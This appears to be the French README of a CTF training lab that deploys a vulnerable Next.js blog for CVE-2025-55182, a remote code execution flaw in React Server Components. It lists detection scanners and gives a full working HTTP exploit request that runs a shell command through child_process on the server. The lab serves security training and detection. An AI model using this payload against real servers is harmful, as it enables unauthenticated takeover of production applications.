
Environnement de laboratoire CTF exploitant CVE-2025-55182 (RCE dans React Server Components) avec un blog Next.js vulnérable, des scripts de détection et des charges d'exploitation manuelles pour une formation pratique en sécurité.
Ce dépôt fournit un environnement CTF (Capture The Flag) vulnérable basé sur un blog de cybersécurité utilisant Next.js et React Server Components.
CVE-2025-55182 : Vulnérabilité d'exécution de code à distance (RCE) pré-authentification dans React Server Components versions 19.0.0, 19.1.0, 19.1.1, et 19.2.0. Le code vulnérable désérialise de manière non sécurisée les payloads des requêtes HTTP vers les endpoints Server Function.
CVE-2025-66478 : Impact sur les applications Next.js utilisant l'App Router.
Ce challenge présente un blog de cybersécurité avec :
Le blog utilise des versions vulnérables de React et Next.js, permettant l'exploitation de la faille React2Shell.
| Package | Version |
|---|---|
next | 16.0.6 |
react | 19.2.0 |
react-dom | 19.2.0 |
# Construire l'image
docker build -t react2shell-poc .
# Lancer le conteneur
docker run --rm -p 127.0.0.1:3000:3000 react2shell-poc
npm install
npm run build
npm run start
Ensuite, accédez à http://127.0.0.1:3000
git clone https://github.com/assetnote/react2shell-scanner && cd react2shell-scanner
virtualenv venv && source venv/bin/activate && pip install -r requirements.txt
python3 scanner.py -u http://127.0.0.1:3000
nuclei -t ./nuclei-template/CVE-2025-55182.yaml -u http://127.0.0.1:3000
Voir le dossier React2Shell/ pour l'exploit Python.
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
La réponse contiendra le résultat de la commande id dans le header x-action-redirect.
CTF Challenge personnalisé basé sur le template simple-nextjs-blog et l'environnement vulnérable CVE-2025-55182.